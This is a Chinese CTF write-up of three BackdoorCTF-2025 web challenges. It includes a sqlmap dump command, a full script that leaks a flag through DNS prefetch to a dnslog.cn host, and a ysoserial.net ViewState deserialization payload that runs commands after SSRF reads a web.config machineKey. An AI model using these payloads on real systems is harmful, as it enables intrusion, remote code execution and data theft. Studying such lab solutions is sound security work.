BackdoorCTF-2025

[Web] No Sight Required

sql盲注,输入114514' or 1=1 --提示存在,确认为注入点

1
sqlmap -u "http://104.198.24.52:6013/search?id=4" --random-agent --dbms=sqlite -T secret_flags --dump --threads=5

sqlmap

[Web] Go Touch Grass

这题考查STTF(Scroll To Text Fragment),配合DNS外带。STTF介绍

简单来说,当url最后携带#:~:text=时,浏览器会自动滚动到含有对应文字的锚点,博客的目录常使用这个特性。同时,本题还涉及lazyload的DNS预解析问题。只有当显示到的时候,会触发dns预解析,将数据外带出去。结合代码来看,bot会开启一个顶部写有flag的浏览器,同时接受base64解码后的note显示在后面。

我们写有两个锚定文本,这时候对第一个SSTF锚点进行按位爆破,第二个写固定的文本(这个会附加到note尾部,如果flag没有匹配到,就会滚动到末尾)。note填充了大量的换行符。如果flag部分正确,页面就会锚定在顶部,不会滚动到最下面的lazyload部分,也就没有dnslog。但如果不正确,就会滚动到第二个锚点,也就是底部,从而触发lazyload的DNS预解析。

1
2
prefix_part = urllib.parse.quote(known_flag + char_to_test)
sttf_hash = f"#:~:text={prefix_part}&text={footer_text}"

看这个就很清楚了,原理上很像SQL盲注。上ai写的exp。DNSLog.cn每隔一段时间会自动清空记录,而且网络实际上也不是很稳定,所以至少二次确认才能保证猜测正确。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
import requests
import urllib.parse
import time
import sys
import base64
import random

# ================= 配置区域 =================
# 1. 题目地址
BASE_URL = "http://34.10.220.48:6005"
BOT_URL = f"{BASE_URL}/bot"

# 2. DNSLog 配置
YOUR_DNS_DOMAIN = "test.bwuzoi.dnslog.cn"
# PHPSESSID
DNSLOG_COOKIE = {"PHPSESSID": "j559joadg0rbbf8jo6hqchtrt3"}

# 3. 爆破配置
known_flag = "flag" # 注意没有花括号
charset = "0123456789abcdefghijklmnopqrstuvwxyz"

# 重试配置
MAX_RETRIES = 2
# ===========================================

def get_dns_records():
"""从 dnslog.cn 获取当前所有记录"""
try:
url = f"http://dnslog.cn/getrecords.php?t={random.random()}"
r = requests.get(url, cookies=DNSLOG_COOKIE, timeout=10)
return r.json()
except Exception as e:
print(f"\n[!] 获取 DNSLog 失败: {e}")
return []

def generate_payload(char_to_test, unique_id):
"""生成攻击 Payload"""
char_hex = char_to_test.encode().hex()

# 构造唯一子域名
inner_dns_url = f"//{char_hex}-{unique_id}.{YOUR_DNS_DOMAIN}"

# 内部 Link (DNS 触发器)
link_html = f'<link rel="dns-prefetch" href="{inner_dns_url}">'
link_html_enc = urllib.parse.quote(link_html)

# 外部 HTML (撑开高度)
padding = "<pre>" + "\n"*3000 + "</pre>"
footer_text = "MY_FOOTER"

# 懒加载 iframe
iframe = f'<iframe loading="lazy" src="/?note={link_html_enc}" width="10" height="10"></iframe>'

raw_html = f"{padding}<div id='footer'>{footer_text}</div>{iframe}"

# URL 编码防止换行符截断
safe_html_for_url = urllib.parse.quote(raw_html)

# STTF 锚点
# sttf_hash = f"#:~:text={known_flag}{char_to_test}&text={footer_text}"

prefix_part = urllib.parse.quote(known_flag + char_to_test)
sttf_hash = f"#:~:text={prefix_part}&text={footer_text}"

final_data = safe_html_for_url + sttf_hash
b64_payload = base64.b64encode(final_data.encode()).decode()

return b64_payload, f"{char_hex}-{unique_id}"

def test_character_once(char, attempt_label=""):
"""
执行一次单次测试
返回: True (收到DNS,说明猜错), False (没收到DNS,可能是Flag)
"""
unique_id = str(int(time.time()))[-5:] + str(random.randint(10,99))
payload, target_id = generate_payload(char, unique_id)

print(f"[*] 测试 '{char}' {attempt_label} (ID: {target_id})... ", end="")
sys.stdout.flush()

try:
# 1. 发送
requests.get(BOT_URL, params={"note": payload}, timeout=5)

# 2. 等待 (11秒 Rate Limit)
for i in range(11, 0, -1):
# 简单的倒计时动画,不换行
print(f"等待 {i}s... ", end="\r")
time.sleep(1)

# 3. 检查
records = get_dns_records()

received = False
for rec in records:
if target_id in rec[0]:
received = True
break

if received:
print(f"❌ 收到 DNS (排除) ")
return True # 收到=错误
else:
print(f"⚠️ 未收到 DNS (疑似正确) ")
return False # 没收到=疑似正确

except Exception as e:
print(f"Error: {e}")
# 如果报错,为了安全起见,假设它没收到(让外层去重试)
return False

def attack():
global known_flag
print(f"[+] 目标: {known_flag}...")

while True:
print(f"\n[--- 正在爆破下一位,当前: {known_flag} ---]")
found_char = False

for char in charset:
# === 第一轮测试 ===
is_wrong = test_character_once(char)

if is_wrong:
# 确定猜错了,直接下一个
continue

is_confirmed_flag = True
for i in range(MAX_RETRIES):
print(f" [!] 正在进行第 {i+1}/{MAX_RETRIES} 次复核验证...")

# 再次测试
is_wrong_again = test_character_once(char, f"[复核{i+1}]")

if is_wrong_again:
print(f" [X] 验证失败:复核时收到了 DNS,排除 '{char}'。")
is_confirmed_flag = False
break # 跳出复核循环,继续测下一个字符

if is_confirmed_flag:
# 通过了所有复核,都没收到 DNS
print(f"\n✅ 确认字符: {char}")
known_flag += char
found_char = True
break # 跳出字符循环,开始爆破下一位

if not found_char:
print("[!] 本轮所有字符都收到了 DNS,或者验证全部失败。")
break

if known_flag.endswith("}"):
print(f"\nFlag: {known_flag}")
break

if __name__ == "__main__":
attack()

收到了flag5n34kydn5f3tch,看源码去除了花括号,补上后即为正确flag: flag{5n34kydn5f3tch}

这里放一下原题: main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
from flask import Flask, request, make_response, render_template_string
import os, base64, sys, threading, time, jsonify, nh3
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address


app = Flask(__name__)

PORT = 6005

flag = open('flag.txt').read().strip()
# flag charset is string.ascii_lowercase + string.digits

ALLOWED_TAGS = {
'a', 'b', 'blockquote', 'br', 'code', 'div', 'em',
'h1', 'h2', 'h3', 'i', 'iframe', 'img', 'li', 'link',
'ol', 'p', 'pre', 'span', 'strong', 'ul'
}
ALLOWED_ATTRIBUTES = {
'a': {'href', 'target'},
'link': {'rel', 'href', 'type', 'as'},
'*': {

'style','src', 'width', 'height', 'alt', 'title',
'lang', 'dir', 'loading', 'role', 'aria-label'
}
}

APP_LIMIT_TIME = 60
APP_LIMIT_COUNT = 5


limiter = Limiter(
get_remote_address,
app=app,
storage_uri="memory://"
)

@app.errorhandler(429)
def ratelimit_handler(e):
return jsonify({
"error": f"Too many requests, please try again later. Limit is {APP_LIMIT_COUNT} requests per {APP_LIMIT_TIME} seconds."
}), 429

template = """<!DOCTYPE html>
<html>
<head>

</head>
<body>
<div class="head"></div>
{% if flag %}
<div class="flag"><h1>{{ flag }}</h1></div>
{% endif %}
{% if note %}
<div class="note">{{ note | safe}}</div>
{% endif %}
<script nonce="{{ nonce }}">
Array.from(document.getElementsByClassName('flag')).forEach(function(element) {
let text = element.innerText;
element.innerHTML = '';
for (let i = 0; i < text.length; i++) {
let charElem = document.createElement('span');
charElem.innerText = text[i];
element.appendChild(charElem);
}
});
</script>
</body>
</html>
"""



@app.route('/', methods=['GET'])
def index():

_flag = request.cookies.get('flag', None)
nonce = base64.b64encode(os.urandom(32)).decode('utf-8')
_note = request.args.get('note', 'Try putting your note with /?note=..')
clean_note = nh3.clean(
_note,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRIBUTES,
)

rendered = render_template_string(
template,
nonce=nonce,
flag=_flag,
note=clean_note,
)

response = make_response(rendered)

response.headers['Content-Security-Policy'] = (
f"default-src 'none'; script-src 'nonce-{nonce}'; style-src 'none'; "
"base-uri 'none'; frame-ancestors 'self'; frame-src 'self'; object-src 'none'; "
)
response.headers['Referrer-Policy'] = 'no-referrer'
response.headers['X-Frame-Options'] = 'SAMEORIGIN'
response.headers['X-Content-Type-Options'] = 'nosniff'

return response

def admin_visit(raw_data_b64: str):
try:

try:
data = base64.b64decode(raw_data_b64.encode('utf-8')).decode('utf-8')
except Exception as e:
print(f"[BOT] base64 decode error: {e}", file=sys.stderr)
return

url = f"http://127.0.0.1:6005/?note={data}"
print(f"[BOT] Visiting {url}", file=sys.stderr)

options = Options()
options.add_argument("--headless")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument("--disable-gpu")

driver = webdriver.Chrome(options=options)

try:

driver.get("http://127.0.0.1:6005/")
driver.add_cookie({
'name': 'flag',
'value': flag.replace("{", "").replace("}", ""),
'path': '/',
'httpOnly': True,
'sameSite': 'Strict'
})

print(f"[BOT] Now visiting target URL {url}", file=sys.stderr)


driver.set_page_load_timeout(5)
try:
driver.get(url)
except Exception as e:
print(f"[BOT] error during driver.get: {e}", file=sys.stderr)
time.sleep(5)
finally:
driver.quit()
print(f"[BOT] Done visiting URL {url}", file=sys.stderr)

except Exception as e:
print(f"[BOT] Unexpected bot error: {e}", file=sys.stderr)


@app.route('/bot', methods=['GET'])
@limiter.limit(f"{APP_LIMIT_COUNT} per {APP_LIMIT_TIME} second")
def bot():
raw_data = request.args.get('note')
if not raw_data:
return make_response("Missing ?note parameter\n", 400)

t = threading.Thread(target=admin_visit, args=(raw_data,))
t.daemon = True
t.start()

return make_response("Admin will visit this URL soon.\n", 202)


if __name__ == '__main__':
app.run(port=PORT, debug=False, host='0.0.0.0')

[Web] .net painwork

访问http://4.188.81.42/%2f/admin.aspx可以绕过登陆,并且拿到凭据用于SSRF。

考虑__VIEWSTATE的反序列化,先要读取web.config,输入file:///c:/inetpub/wwwroot/web.config点击查询,获得validation validationKey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"ok": true,
"statusCode": 200,
"headers": [
{
"name": "Content-Length",
"value": "1833"
},
{
"name": "Content-Type",
"value": "application/octet-stream"
}
],
"snippet": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<configuration>\r\n <appSettings></appSettings>\r\n <system.web>\r\n <compilation targetFramework=\"4.8\" />\r\n <authentication mode=\"Forms\">\r\n <forms loginUrl=\"~/login.aspx\" timeout=\"30\" />\r\n </authentication>\r\n <machineKey validation=\"SHA1\" decryption=\"AES\" validationKey=\"AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B\" decryptionKey=\"AB4298433692C6911B75665DEFA47AD09EA856BE41879334\" />\r\n <httpRuntime targetFramework=\"4.5\" />\r\n </system.web>\r\n <system.webServer>\r\n <modules runAllManagedModulesForAllRequests=\"true\" />\r\n <handlers>\r\n <add name=\"HealthHandler\" path=\"health.ashx\" verb=\"*\" type=\"Health.Handlers.HealthHandler\" resourceType=\"Unspecified\" />\r\n </handlers>\r\n </system.webServer>\r\n <runtime>\r\n <assemblyBinding xmlns=\"urn:schemas-microsoft-com:asm.v1\">\r\n <dependentAssembly>\r\n <assemblyIdentity name=\"WebGrease\" publicKeyToken=\"31bf3856ad364e35\" culture=\"neutral\" />\r\n <bindingRedirect oldVersion=\"0.0.0.0-1.6.5135.21930\" newVersion=\"1.6.5135.21930\" />\r\n </dependentAssembly>\r\n <dependentAssembly>\r\n <assemblyIdentity name=\"Antlr3.Runtime\" publicKeyToken=\"eb42632606e9261f\" culture=\"neutral\" />\r\n <bindingRedirect oldVersion=\"0.0.0.0-3.5.0.2\" newVersion=\"3.5.0.2\" />\r\n </dependentAssembly>\r\n <dependentAssembly>\r\n <assemblyIdentity name=\"Newtonsoft.Json\" publicKeyToken=\"30ad4fe6b2a6aeed\" culture=\"neutral\" />\r\n <bindingRedirect oldVersion=\"0.0.0.0-13.0.0.0\" newVersion=\"13.0.0.0\" />\r\n </dependentAssembly>\r\n </assemblyBinding>\r\n </runtime>\r\n <location path=\"health.ashx\">\r\n <system.web>\r\n <authorization>\r\n <allow users=\"*\" /> </authorization>\r\n </system.web>\r\n </location>\r\n</configuration>\r\n<!--ProjectGuid: 8371CAB5-57D6-4087-BC6A-7E3514CE52C2-->",
"error": null
}

访问/login.aspx,获得generator,这里是C2EE9ABB

用ysoserial.net构造反序列化。这里最好用C:\Windows\Temp\,不然没有权限写。

1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami > C:\Windows\Temp\test.txt" --generator="C2EE9ABB" --validationKey="AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B" --alg="SHA1"

回到/login.aspx,篡改__VIEWSTATE

1
2
3
4
5
LoginBtn=Login
&PasswordBox=admin
&__EVENTVALIDATION=GjcT45wL8O4LBYanAbQwP0hxOJT3HhIJy0gE36JI0o%2BS6QqLm0TDglBjAZzQlFM1zusz8ZR%2BbyLqmqbz7B9qrnEauB1RfhYer%2FB4zRofB%2BBL6Y4MvHfDnE1ubACd1nQhrFyYYg%3D%3D
&__VIEWSTATE=%2FwEyuAcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADaBTw%2FeG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI%2FPg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI%2BDQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2BDQogICAgPHNkOlByb2Nlc3M%2BDQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8%2BDQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY21kIC9jIHdob2FtaSAmZ3Q7IEM6XFdpbmRvd3NcVGVtcFx0ZXN0LnR4dCIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8%2BDQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2BDQo8L09iamVjdERhdGFQcm92aWRlcj4LJo2dYwVgcDzbUc55S%2ByU37T59c9YtlC3yi24zgTOZLQ%3D
&__VIEWSTATEGENERATOR=C2EE9ABB

提示Server Error in '/' Application.,再次SSRF读取file:///C:/Windows/Temp/test.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"ok": true,
"statusCode": 200,
"headers": [
{
"name": "Content-Length",
"value": "50"
},
{
"name": "Content-Type",
"value": "application/octet-stream"
}
],
"snippet": "flag{tlqp8s5h_eurzla5g_feepuqi9_qsgmjxj5_mcmd2kt8}",
"error": null
}